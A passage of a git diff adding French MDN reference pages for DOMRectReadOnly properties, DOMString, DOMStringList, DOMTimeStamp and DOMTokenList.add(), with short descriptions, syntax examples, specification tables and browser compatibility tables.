+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMRect")}}</li>
+</ul>
diff --git a/files/fr/web/api/domrectreadonly/right/index.html b/files/fr/web/api/domrectreadonly/right/index.html
new file mode 100644
index 0000000000..b7ca22e5a4
--- /dev/null
+++ b/files/fr/web/api/domrectreadonly/right/index.html
@@ -0,0 +1,105 @@
+---
+title: DOMRectReadOnly.right
+slug: Web/API/DOMRectReadOnly/right
+tags:
+  - API
+  - DOM
+  - Droite
+  - Géométrie
+  - Propriétés
+  - Rectangle
+translation_of: Web/API/DOMRectReadOnly/right
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>La propriété en lecture seule <code><strong>right</strong></code> de l'interface <strong><code>DOMRectReadOnly</code></strong> renvoie la valeur de la coordonnée droite du <code>DOMRect.</code> (a la même valeur que <code>x + width</code> <em>(x + largeur)</em>, ou <code>x</code> si <code>width</code> est négative).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var recRight = DOMRect.right;</pre>
+
+<h3 id="Specification" name="Specification">Valeur</h3>
+
+<p>Un double.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-domrectreadonly-right', 'right')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMRect")}}</li>
+</ul>
diff --git a/files/fr/web/api/domrectreadonly/top/index.html b/files/fr/web/api/domrectreadonly/top/index.html
new file mode 100644
index 0000000000..d34297d82c
--- /dev/null
+++ b/files/fr/web/api/domrectreadonly/top/index.html
@@ -0,0 +1,105 @@
+---
+title: DOMRectReadOnly.top
+slug: Web/API/DOMRectReadOnly/top
+tags:
+  - API
+  - DOM
+  - Géométrie
+  - Haut
+  - Propriétés
+  - Rectangle
+translation_of: Web/API/DOMRectReadOnly/top
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>La propriété en lecture seule <code><strong>top</strong></code> de l'interface <strong><code>DOMRectReadOnly</code></strong> renvoie la valeur de la coordonnée haute du <code>DOMRect.</code> (A la même valeur que <code>y</code>, ou <code>y + height</code> <em>(y + hauteur)</em> si <code>height</code> est négative.)</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var recTop = DOMRect.top;</pre>
+
+<h3 id="Specification" name="Specification">Valeur</h3>
+
+<p>Un double.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-domrectreadonly-top', 'top')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMRect")}}</li>
+</ul>
diff --git a/files/fr/web/api/domrectreadonly/width/index.html b/files/fr/web/api/domrectreadonly/width/index.html
new file mode 100644
index 0000000000..9443cf03cf
--- /dev/null
+++ b/files/fr/web/api/domrectreadonly/width/index.html
@@ -0,0 +1,105 @@
+---
+title: DOMRectReadOnly.width
+slug: Web/API/DOMRectReadOnly/width
+tags:
+  - API
+  - DOM
+  - Géométrie
+  - Largeur
+  - Propriétés
+  - Rectangle
+translation_of: Web/API/DOMRectReadOnly/width
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>La propriété en lecture seule <code><strong>width</strong></code> de l'interface <strong><code>DOMRectReadOnly</code></strong> représente la largeur du <code>DOMRect</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var recWidth = DOMRect.width;</pre>
+
+<h3 id="Specification" name="Specification">Valeur</h3>
+
+<p>Un double.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-domrectreadonly-width', 'width')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMRect")}}</li>
+</ul>
diff --git a/files/fr/web/api/domrectreadonly/x/index.html b/files/fr/web/api/domrectreadonly/x/index.html
new file mode 100644
index 0000000000..b802488dc6
--- /dev/null
+++ b/files/fr/web/api/domrectreadonly/x/index.html
@@ -0,0 +1,106 @@
+---
+title: DOMRectReadOnly.x
+slug: Web/API/DOMRectReadOnly/x
+tags:
+  - API
+  - Coordonnées
+  - DOM
+  - Géométrie
+  - Propriétés
+  - Rectangle
+  - x
+translation_of: Web/API/DOMRectReadOnly/x
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>La propriété en lecture seule <code><strong>x</strong></code> de l'interface <strong><code>DOMRectReadOnly</code></strong> représente la coordonnée x d' l'origine du <code>DOMRect</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var recX = DOMRect.x;</pre>
+
+<h3 id="Specification" name="Specification">Valeur</h3>
+
+<p>Un double.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-domrectreadonly-x', 'x')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMRect")}}</li>
+</ul>
diff --git a/files/fr/web/api/domrectreadonly/y/index.html b/files/fr/web/api/domrectreadonly/y/index.html
new file mode 100644
index 0000000000..9aa00ecaf3
--- /dev/null
+++ b/files/fr/web/api/domrectreadonly/y/index.html
@@ -0,0 +1,106 @@
+---
+title: DOMRectReadOnly.y
+slug: Web/API/DOMRectReadOnly/y
+tags:
+  - API
+  - Coordonnées
+  - DOM
+  - Géométrie
+  - Propriétés
+  - Rectangle
+  - 'y'
+translation_of: Web/API/DOMRectReadOnly/y
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>La propriété en lecture seule <code><strong>y</strong></code> de l'interface <strong><code>DOMRectReadOnly</code></strong> représente la coordonnée y de l'origine du <code>DOMRect</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var recY = DOMRect.y;</pre>
+
+<h3 id="Specification" name="Specification">Valeur</h3>
+
+<p>Un double.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-domrectreadonly-y', 'y')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMRect")}}</li>
+</ul>
diff --git a/files/fr/web/api/domstring/binary/index.html b/files/fr/web/api/domstring/binary/index.html
new file mode 100644
index 0000000000..ecd56243e3
--- /dev/null
+++ b/files/fr/web/api/domstring/binary/index.html
@@ -0,0 +1,31 @@
+---
+title: Chaîne de caractères binaire
+slug: Web/API/DOMString/Binary
+tags:
+  - Chaînes de caractères
+  - JavaScript
+  - binaire
+  - données
+translation_of: Web/API/DOMString/Binary
+---
+<h2 id="Résumé">Résumé</h2>
+
+<div class="summary">
+<p>En termes simples, une chaîne de caractères binaire est une séquence de 1 et de 0. JavaScript est chargé de riches fonctionnalités pour manipuler des données binaires brutes au niveau inférieur. </p>
+</div>
+
+<p>Au fur et à mesure que les applications Web deviennent de plus en plus puissantes, ajoutant des fonctionnalités telles que la manipulation d'audio et de vidéo, l'accès aux données brutes à l'aide de WebSockets, etc., il apparaît clairement parfois que le code JavaScript peut être utile pour manipuler rapidement et facilement des données binaires brutes. Dans le passé, cela devait être simulé en traitant les données brutes <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/String" title="JavaScript/Reference/Global Objects/String">string</a> (<em>chaîne de caractères</em>) et en utilisant la méthode <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/charCodeAt" title="JavaScript/Reference/Global Objects/String/charCodeAt"><code>charCodeAt()</code></a> pour lire les octets à partir des tampons de données.</p>
+
+<p>Cependant, ceci est lent et sujet aux erreurs, en raison du besoin de conversions multiples (en particulier si les données binaires ne sont pas réellement des données au format octet, mais, par exemple, des entiers ou des flottants de 32 bits).</p>
+
+<p><a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Tableaux_typ%C3%A9s" title="/en-US/docs/Web/JavaScript/Typed_arrays">Un tableau typé en JavaScript</a> fournit un mécanisme pour accèder aux données brutes binaires beaucoup plus efficacement. Le constructeur <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Tableaux_typ%C3%A9s" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> <span class="inlineIndicator" title="This API is not native.">Non native</span> est un niveau au-dessus des tableaux typés et fournit une interface de type <a class="external" href="https://fr.wikipedia.org/wiki/C_(langage)">C</a> pour les chaînes de caractères.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Tableaux_typ%C3%A9s" title="/en-US/docs/Web/JavaScript/Typed_arrays">Les tableaux typés en JavaScript</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_binaires">Opérateurs binaires </a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString/Binary"><code>DOMString</code></a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/String" title="/en-US/docs/Web/API/DOMString">String</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Archive/Add-ons/Code_snippets/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/String_view"><code>StringView</code></a></li>
+</ul>
diff --git a/files/fr/web/api/domstring/index.html b/files/fr/web/api/domstring/index.html
new file mode 100644
index 0000000000..260cfe1187
--- /dev/null
+++ b/files/fr/web/api/domstring/index.html
@@ -0,0 +1,53 @@
+---
+title: DOMString
+slug: Web/API/DOMString
+tags:
+  - API
+  - Chaîne de caractères
+  - DOM
+  - Reference
+translation_of: Web/API/DOMString
+---
+<p>Une chaîne de caractères UTF-16. Comme JavaScript utilise déjà ce type de chaîne de caractères, <code>DOMString</code> est directement associé à <code><a href="/en/JavaScript/Reference/Global_Objects/String" title="En/JavaScript/Reference/Global_Objects/String">String</a></code>.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebIDL', '#idl-DOMString', 'DOMString')}}</td>
+   <td>{{Spec2('WebIDL')}}</td>
+   <td>Reformulation de la définition pour éviter quelques cas particuliers bizarres.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#DOMString', 'DOMString')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Aucun changement par rapport à {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-C74D1578', 'DOMString')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Aucun changement par rapport à {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-C74D1578', 'DOMString')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Première définition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/String" title="/en-US/docs/Web/API/DOMString">String</a></li>
+ <li>{{domxref("USVString")}}</li>
+ <li>{{domxref("CSSOMString")}}</li>
+ <li><a href="https://developer.mozilla.org/fr/Add-ons/Code_snippets/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/String_view"><code>StringView</code> – a C-like representation of strings based on typed arrays</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/DOMString/Binary">Binary strings</a></li>
+</ul>
diff --git a/files/fr/web/api/domstringlist/index.html b/files/fr/web/api/domstringlist/index.html
new file mode 100644
index 0000000000..b0d89b14e6
--- /dev/null
+++ b/files/fr/web/api/domstringlist/index.html
@@ -0,0 +1,48 @@
+---
+title: DOMStringList
+slug: Web/API/DOMStringList
+tags:
+  - API
+  - Chaînes de caractères
+  - DOM
+  - Types
+translation_of: Web/API/DOMStringList
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Un type renvoyé par certaines API contenant une liste de <a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/DOMString" title="En/DOM/DOMString">DOMString</a> (<em>chaînes de caractères</em>).</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("DOMStringList.length")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie la longueur de la liste.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("DOMStringList.item()")}}</dt>
+ <dd>Renvoie une {{domxref("DOMString")}} (<em>chaîne de caractères</em>).</dd>
+ <dt>{{domxref("DOMStringList.contains()")}}</dt>
+ <dd>Renvoie un {{jsxref("Boolean")}} (<em>booléen</em>) indiquant si la chaîne de caractères donnée est dans la liste.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "common-dom-interfaces.html#the-domstringlist-interface", "DOMStringList")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition  initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/domtimestamp/index.html b/files/fr/web/api/domtimestamp/index.html
new file mode 100644
index 0000000000..e70c4be3c3
--- /dev/null
+++ b/files/fr/web/api/domtimestamp/index.html
@@ -0,0 +1,80 @@
+---
+title: DOMTimeStamp
+slug: Web/API/DOMTimeStamp
+tags:
+  - API
+  - DOM
+  - Référence DOM
+translation_of: Web/API/DOMTimeStamp
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Le type <code>DOMTimeStamp</code> représente une quantité de millisecondes, exprimées de manière absolue ou relative, <span id="result_box" lang="fr"><span>en fonction de la spécification dans laquelle il apparaît.</span></span></p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+</ul>
+
+<article class="approved text-content">
+<div class="boxed translate-rendered">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("WebIDL", "#common-DOMTimeStamp", "DOMTimeStamp")}}</td>
+   <td>{{Spec2("WebIDL")}}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</article>
+
+<article class="localized">
+<header>
+<h3 id="Traduction_en_Français">Traduction en Français :</h3>
+</header>
+
+<div class="guide-links"><a href="https://developer.mozilla.org/fr/docs/MDN/Community">Besoin d'aide ?</a> • <a href="https://developer.mozilla.org/fr/docs/MDN/Contribute/Editor">Guide d'édition</a> • <a href="https://developer.mozilla.org/fr/docs/MDN/Contribute/Content/Style_guide">Guide stylistique</a></div>
+
+<div class="editor-wrapper" id="editor-wrapper">
+<div class="draft-container">
+<div class="draft-old"> </div>
+
+<div class="draft-status"><span id="draft-action">Brouillon enregistré automatiquement : <time class="time-ago" id="draft-time" title="2017-11-03T21:47:27.138Z">03/11/2017 22:47:27</time></span></div>
+</div>
+
+<div class="ckeditor-container editor-container dirty">
+<div class="editor">
+<div class="editor-tools"> </div>
+
+<div style="height: 173px;">
+<div style="border: 1px solid rgb(182, 182, 182); width: 786px;"> </div>
+</div>
+</div>
+</div>
+</div>
+</article>
+
+<div id="content-fields">
+<article class="localized">
+<div class="editor-wrapper" id="editor-wrapper">
+<div class="ckeditor-container editor-container dirty">
+<div class="editor">
+<div class="cke" dir="ltr" id="cke_id_content" lang="fr">
+<div>
+<div id="cke_1_contents" style="height: 260.5px;"> </div>
+</div>
+</div>
+</div>
+</div>
+</div>
+</article>
+</div>
diff --git a/files/fr/web/api/domtokenlist/add/index.html b/files/fr/web/api/domtokenlist/add/index.html
new file mode 100644
index 0000000000..472030ca72
--- /dev/null
+++ b/files/fr/web/api/domtokenlist/add/index.html
@@ -0,0 +1,79 @@
+---
+title: DOMTokenList.add()
+slug: Web/API/DOMTokenList/add
+tags:
+  - API
+  - Ajout
+  - Chaînes de caractères
+  - DOM
+  - Listes
+  - Méthodes
+translation_of: Web/API/DOMTokenList/add
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>add()</strong></code> de l'interface {{domxref("DOMTokenList")}} ajoute  le <em>token</em> (<em>marque</em>) à la liste.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">tokenList.add(token1[, token2[, ...]]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>token</dt>
+ <dd>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant la marque (<em>token</em>) que vous souhaitez ajouter à la liste.</dd>
+</dl>
+
+<h3 id="Valeur_renvoyée">Valeur renvoyée</h3>
+
+<p>Vide.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, nous récupérons une liste des classes définies sur un élément {{htmlelement("span")}} en tant que <code>DOMTokenList</code>, en utilisant {{domxref("Element.classList")}}. Nous ajoutons alors une nouvelle marque à la  liste et écrivons la liste dans un  {{domxref("Node.textContent")}} du <code>&lt;span&gt;</code>.</p>
+
+<p>Tout d'abord, le code HTML :</p>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>Maintenant, le JavaScript :</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+classes.add("d");
+span.textContent = classes;
+</pre>
+
+<p>La sortie ressemble à ceci :</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<p>Vous pouvez ajouter plusieurs <em>token</em> :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">span<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">add</span><span class="punctuation token">(</span><span class="string token">"d"</span><span class="punctuation token">,</span> <span class="string token">"e"</span><span class="punctuation token">,</span> <span class="string token">"f"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-domtokenlist-add','add()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList.add")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/fr/web/api/domtokenlist/contains/index.html b/files/fr/web/api/domtokenlist/contains/index.html
new file mode 100644
index 0000000000..282e4743b2
